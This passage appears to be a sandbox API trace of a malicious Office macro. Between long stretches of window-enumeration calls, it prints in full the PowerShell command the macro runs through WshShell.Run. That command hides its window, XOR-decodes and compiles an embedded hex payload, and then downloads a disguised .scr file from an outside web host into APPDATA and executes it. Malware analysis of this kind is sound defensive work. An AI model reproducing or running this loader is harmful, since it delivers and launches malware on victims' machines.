pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.525] VarBstrCat (in: bstrLeft="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d17d93)\r\n", bstrRight="$", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.543] WshShell:IDispatch:GetIDsOfNames (in: This=0x979a790, riid=0x7fee40778a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x2665a0*="Run", cNames=0x1, lcid=0x7fe00000409, rgDispId=0x266584 | out: rgDispId=0x266584*=1000) returned 0x0 [0037.552] WshShell:IDispatch:Invoke (This=0x979a790, dispIdMember=1000, riid=0x7fee40778a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x266538*(rgvarg=([0]=0x81812b0*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), [1]=0x81812c8*(varType=0x2, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), [2]=0x81812e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="powershell.exe -windowstyle hidden -noprofile \r\nfunction n47f6 {\r\nparam($d17d93)\r\n$qfab72a = 'w6788';\r\n$o14135a = '';\r\nfor ($i = 0; $i -lt $d17d93.length; $i+=2) {\r\n$eb44f = [convert]::ToByte($d17d93.Substring($i, 2), 16);\r\n$o14135a += [char]($eb44f -bxor $qfab72a[($i / 2) % $qfab72a.length]);\r\n}\r\nreturn $o14135a;\r\n}\r\n$sf6669 = '02455e565f57654e4b4c125b0c353202455e565f57654e4b4c125b196a4d19425e555d597f594c5d0559476b5d05405e5b5d040d3a324802545b515b57555b594b0416590b0b11550035320c3b3d18185716171818576d7354543e5b47574a031e15535d055852540b45141e65357d16171818571617184802545b515b574543594c1e55175d4003534556183e5843684c0516705d4c2744585b791352455d4b041e7e564c27424518503a59534d54121a174b4c055f595f180744585b76165b5211037a3c17181857161718182c725b54711a46584a4c5f145c5d4a19535b0b0a551f6a35325716171818571617484d155a5e5b180442564c51141652404c12445918711942674c4a577a58595c3b5f554a59054f1f4b4c055f595f1819575a5d114c3b3d18185716171818576d7354543e5b47574a031e15535d055852540b45141e65357d16171818571617184802545b515b574543594c1e55175d4003534556181559585418215f454c4d165a674a570353544c103e5843684c05165b48791352455d4b041a176d711942674c4a5752406b510d531b184d1e5843185e1b78524f680559435d5b031a17574d031642515603165b485e1b795b5c680559435d5b031f0c35325716171818571617637c1b5a7e5548184443101a3c5345565d1b0505165c1b5a1514183258434a4127595e564c570b171a6a035a7a574e127b525557054f15141824534374590442724a4a184417051811575b4b5d5e6b3a321857161718185716444c59035f54185d0f42524a56574058515c577b584e5d3a535a574a0e1e7e564c274245185c12454314183e5843684c0516444a5b5b165e564c57455e425d5e0d3a32357d16171818571617184802545b515b574543594c1e55175156031654010a1102545b105e3b3d18185716171818574d3a321857161718185716171818577f594c68034417555d1350005a5d570b17745716527b515a05574541101902005e0e5f14060e0d1502030d094600060b0d1603551a115e0d3a321857161718185716171818575f5118101a53535e0f1553170505577f594c68034419625d05591e35325716171818571617181857164c35325716171818571617181857161718185744524c4d05581709037a3c171818571617181857161718457a3c3a321857161718185716171818577f594c680344175d5b12555418055771524c68055954795c1344524b4b5f5b525c5e40545214181902005e0e5f14040e0d1502030d094154060c0d40030e0f59435206090d4703050c59551f1e03357d161718185716171818571617515e571e525b5d1455170505577f594c68034419625d05591e35325716171818571617181857164c35325716171818571617181857161718185744524c4d05581709037a3c171818571617181857161718457a3c3a32185716171818571617181857637e564c274245185c00655e425d570b17106d3e5843684c051f0203357d1617181857161718185716174d51194217625d0559170518470d3a321857161718185716171818575f51181056605e4a4c02575b684a1842525b4c5f53545d5b141a175c4f245f4d5d1457064f0c085b16584d4c576c524a575e1f3a321857161718185716171818574d3a32185716171818571617181857161718180553434d4a19160603357d16171818571617181857161745357d1617181857161718185716177a4103536c65182757435b50570b174318474e04091457064f5e5e5b1607400147164a03357d16171818571617181857161771560366434a1802585a59561651525c68185f594c5d05160a187516444450591b1876545418557f7f541854565410441f0c35325716171818571617181857167a594a045e56541634594741102757435b505b1607141802585a59561651525c68185f594c5d051a170b114c3b3d1818571617181857161718183a59415d75125b584a415f58524f183e5843684c051e525b5d1455196c573e58430e0c5f1f171318474e070809151f1b184d195b56565910535368571e58435d4a5b160411037a3c1718185716171818571617184a1242424a5657060c3532571617181857161745357d3f3e484d155a5e5b180442564c511416444c4a1e585018564301510e1004424551561016444c4a3e581e3532571617181857161743357d3f3e314b03445e565f5745010f0e150f1705185541010f004f140c3532571617181857161718185716444c4a1e5850184b1257010e01570b176b4c055f595f16325b474c414c3b3d18185716171818571617181811594518101e58431851570b170803575f1704180442457156597a52565f035e0c1851571d0a180a5e3b3d1818571617181857161718180c3b3d181857161718185716171818571617185a0e42521854440303000d570b177b571940524a4c5962587a4103531f4b4c057f59166b0254444c4a1e585010515b1605111457070111037a3c171818571617181857161718185716174b5d16000101185c0b17105b1f574511101b05020c00421669184b4101015a012c1e5e181757041e181d5745010f0e150f19745d19514350655e0d3a321857161718185716171818574b3a32357d1617181857161718185716174a5d03434556180453560e0e4e0d3a3218571617181857164a35320a';\r\n$sf66692 = n47f6($sf6669);\r\nAdd-Type -TypeDefinition $sf66692;\r\n[n33fc7]::c92f4cc();\r\n\r\nStart-Sleep -s 1;\r\n$y8cf5 = $env:APPDATA;\r\n$t228f7 = $y8cf5 + '\\\\z79473a.exe';\r\nIf (test-path $t228f7) {Remove-Item $t228f7}; \r\n$da2f925 = New-Object System.Net.WebClient; \r\n$da2f925.Headers['User-Agent'] = 'da2f925'; \r\n$da2f925.DownloadFile('http://jadema.com.py/jj/2019 Order File TTYYUGH.scr', $t228f7); \r\nStart-Process -Filepath $t228f7;\r\n", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x266550, puArgErr=0x266530) [0069.065] GetCapture () returned 0x0 [0069.065] GetCursorPos (in: lpPoint=0x26f400 | out: lpPoint=0x26f400*(x=950, y=338)) returned 1 [0069.065] WindowFromPoint (Point=0x152000003b6) returned 0x2022a [0069.065] GetWindowThreadProcessId (in: hWnd=0x2022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0069.065] SendMessageA (hWnd=0x2022a, Msg=0x84, wParam=0x0, lParam=0x15203b6) returned 0x1 [0069.065] SendMessageA (hWnd=0x2022a, Msg=0x20, wParam=0x2022a, lParam=0x2000001) returned 0x0 [0182.889] GetCurrentThreadId () returned 0x924 [0182.889] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0182.889] GetDesktopWindow () returned 0x10010 [0182.889] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10056 [0182.889] GetClassNameA (in: hWnd=0x10056, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0182.889] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0182.889] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.889] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0182.889] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.889] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.889] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.889] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10076 [0182.889] GetClassNameA (in: hWnd=0x10076, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.889] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.889] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0182.889] GetClassNameA (in: hWnd=0x10074, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.889] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.889] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0182.889] GetClassNameA (in: hWnd=0x10060, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.889] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.889] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.889] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0182.889] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.890] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.890] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0182.890] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.890] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.890] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0182.890] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.890] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.890] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0182.890] GetClassNameA (in: hWnd=0x10078, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.890] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.890] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10058 [0182.890] GetClassNameA (in: hWnd=0x10058, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Button") returned 6 [0182.890] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0182.890] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.890] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0182.890] GetClassNameA (in: hWnd=0x10050, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0182.890] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0182.890] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.890] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0xa00fa [0182.890] GetClassNameA (in: hWnd=0xa00fa, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0182.890] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0182.890] GetWindowThreadProcessId (in: hWnd=0xa00fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.890] GetWindowLongA (hWnd=0xa00fa, nIndex=-16) returned -1912602624 [0182.890] GetWindowLongPtrA (hWnd=0xa00fa, nIndex=-6) returned 0x0 [0182.890] GetWindowLongPtrA (hWnd=0xa00fa, nIndex=-6) returned 0x0 [0182.890] GetWindow (hWnd=0xa00fa, uCmd=0x2) returned 0x5011e [0182.890] GetClassNameA (in: hWnd=0x5011e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0182.890] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0182.890] GetWindowThreadProcessId (in: hWnd=0x5011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.890] GetWindowLongA (hWnd=0x5011e, nIndex=-16) returned -1912602624 [0182.890] GetWindowLongPtrA (hWnd=0x5011e, nIndex=-6) returned 0x0 [0182.890] GetWindowLongPtrA (hWnd=0x5011e, nIndex=-6) returned 0x0 [0182.890] GetWindow (hWnd=0x5011e, uCmd=0x2) returned 0x40114 [0182.890] GetClassNameA (in: hWnd=0x40114, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0182.890] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0182.890] GetWindowThreadProcessId (in: hWnd=0x40114, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.890] GetWindowLongA (hWnd=0x40114, nIndex=-16) returned -1912602624 [0182.890] GetWindowLongPtrA (hWnd=0x40114, nIndex=-6) returned 0x0 [0182.890] GetWindowLongPtrA (hWnd=0x40114, nIndex=-6) returned 0x0 [0182.890] GetWindow (hWnd=0x40114, uCmd=0x2) returned 0x101ee [0182.891] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0182.891] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.891] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -1912602624 [0182.891] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0182.891] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0182.891] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x10144 [0182.891] GetClassNameA (in: hWnd=0x10144, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="ATL:000007FEF48D52C0") returned 20 [0182.891] lstrcmpA (lpString1="ATL:000007FEF48D52C0", lpString2="ThunderRT6Main") returned -1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0182.891] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x1013e [0182.891] GetClassNameA (in: hWnd=0x1013e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.891] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x1013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x69c [0182.891] GetWindow (hWnd=0x1013e, uCmd=0x2) returned 0x1013c [0182.891] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0182.891] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x69c [0182.891] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x200d0 [0182.891] GetClassNameA (in: hWnd=0x200d0, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x200d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.891] GetWindow (hWnd=0x200d0, uCmd=0x2) returned 0x200d8 [0182.891] GetClassNameA (in: hWnd=0x200d8, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x200d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.891] GetWindow (hWnd=0x200d8, uCmd=0x2) returned 0x200e2 [0182.891] GetClassNameA (in: hWnd=0x200e2, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x200e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.891] GetWindow (hWnd=0x200e2, uCmd=0x2) returned 0x200e8 [0182.891] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0182.891] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.891] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x100f6 [0182.891] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0182.891] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009c [0182.891] GetClassNameA (in: hWnd=0x5009c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.891] GetWindowThreadProcessId (in: hWnd=0x5009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.891] GetWindow (hWnd=0x5009c, uCmd=0x2) returned 0x1008c [0182.891] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0182.892] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0182.892] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.892] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x40112 [0182.892] GetClassNameA (in: hWnd=0x40112, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="OfficeTooltip") returned 13 [0182.892] lstrcmpA (lpString1="OfficeTooltip", lpString2="ThunderRT6Main") returned -1 [0182.892] GetWindowThreadProcessId (in: hWnd=0x40112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.892] GetWindowLongA (hWnd=0x40112, nIndex=-16) returned -2080374784 [0182.892] GetWindowLongPtrA (hWnd=0x40112, nIndex=-6) returned 0x7feed320000 [0182.892] GetWindowLongPtrA (hWnd=0x40112, nIndex=-6) returned 0x7feed320000 [0182.892] GetWindow (hWnd=0x40112, uCmd=0x2) returned 0x201bc [0182.892] GetClassNameA (in: hWnd=0x201bc, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="OpusApp") returned 7 [0182.892] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1 [0182.892] GetWindowThreadProcessId (in: hWnd=0x201bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.892] GetWindowLongA (hWnd=0x201bc, nIndex=-16) returned 919535616 [0182.892] GetWindowLongPtrA (hWnd=0x201bc, nIndex=-6) returned 0x7fef05d0000 [0182.892] GetWindowLongPtrA (hWnd=0x201bc, nIndex=-6) returned 0x7fef05d0000 [0182.892] GetWindow (hWnd=0x201bc, uCmd=0x2) returned 0x10106 [0182.892] GetClassNameA (in: hWnd=0x10106, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0182.892] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0182.892] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0182.892] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10042 [0182.892] GetClassNameA (in: hWnd=0x10042, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.892] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.892] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0182.892] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1301b2 [0182.892] GetClassNameA (in: hWnd=0x1301b2, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0182.892] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0182.892] GetWindowThreadProcessId (in: hWnd=0x1301b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x788 [0182.892] GetWindow (hWnd=0x1301b2, uCmd=0x2) returned 0x201a6 [0182.892] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.892] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.892] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x788 [0182.893] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x101fe [0182.893] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="OpusApp") returned 7 [0182.893] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1 [0182.893] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.893] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned 131006464 [0182.893] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x7fef05d0000 [0182.893] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x7fef05d0000 [0182.893] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101fc [0182.893] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0182.893] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0182.893] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.893] GetWindowLongA (hWnd=0x101fc, nIndex=-16) returned -2080374784 [0182.893] GetWindowLongPtrA (hWnd=0x101fc, nIndex=-6) returned 0x7fee3ce0000 [0182.893] IsWindowEnabled (hWnd=0x101fc) returned 1 [0182.893] GetPropA (hWnd=0x101fc, lpString=0xc033) returned 0x0 [0182.893] SetPropA (hWnd=0x101fc, lpString=0xc033, hData=0x1) returned 1 [0182.893] EnableWindow (hWnd=0x101fc, bEnable=0) returned 0 [0182.893] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101f8 [0182.893] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0182.893] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0182.893] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.893] GetWindowLongA (hWnd=0x101f8, nIndex=-16) returned -2080374784 [0182.893] GetWindowLongPtrA (hWnd=0x101f8, nIndex=-6) returned 0x7fefee70000 [0182.893] GetWindowLongPtrA (hWnd=0x101f8, nIndex=-6) returned 0x7fefee70000 [0182.893] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101ec [0182.893] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0182.893] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0182.893] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.893] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2080374784 [0182.893] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x7feeeaa0000 [0182.893] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x7feeeaa0000 [0182.893] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x401b4 [0182.893] GetClassNameA (in: hWnd=0x401b4, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0182.893] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0182.893] GetWindowThreadProcessId (in: hWnd=0x401b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x95c [0182.893] GetWindow (hWnd=0x401b4, uCmd=0x2) returned 0x201c4 [0182.893] GetClassNameA (in: hWnd=0x201c4, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="_WwO") returned 4 [0182.893] lstrcmpA (lpString1="_WwO", lpString2="ThunderRT6Main") returned -1 [0182.893] GetWindowThreadProcessId (in: hWnd=0x201c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.893] GetWindowLongA (hWnd=0x201c4, nIndex=-16) returned -2080374784 [0182.893] GetWindowLongPtrA (hWnd=0x201c4, nIndex=-6) returned 0x7fef05d0000 [0182.894] GetWindowLongPtrA (hWnd=0x201c4, nIndex=-6) returned 0x7fef05d0000 [0182.894] GetWindow (hWnd=0x201c4, uCmd=0x2) returned 0x201b0 [0182.894] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0182.894] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0182.894] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.894] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0182.894] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13fc00000 [0182.894] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13fc00000 [0182.894] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a2 [0182.894] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.894] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.894] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0182.894] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0182.894] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="regards_dx_specializing_cls") returned 27 [0182.894] lstrcmpA (lpString1="regards_dx_specializing_cls", lpString2="ThunderRT6Main") returned -1 [0182.894] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0182.894] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0182.894] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.894] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.894] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0182.894] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 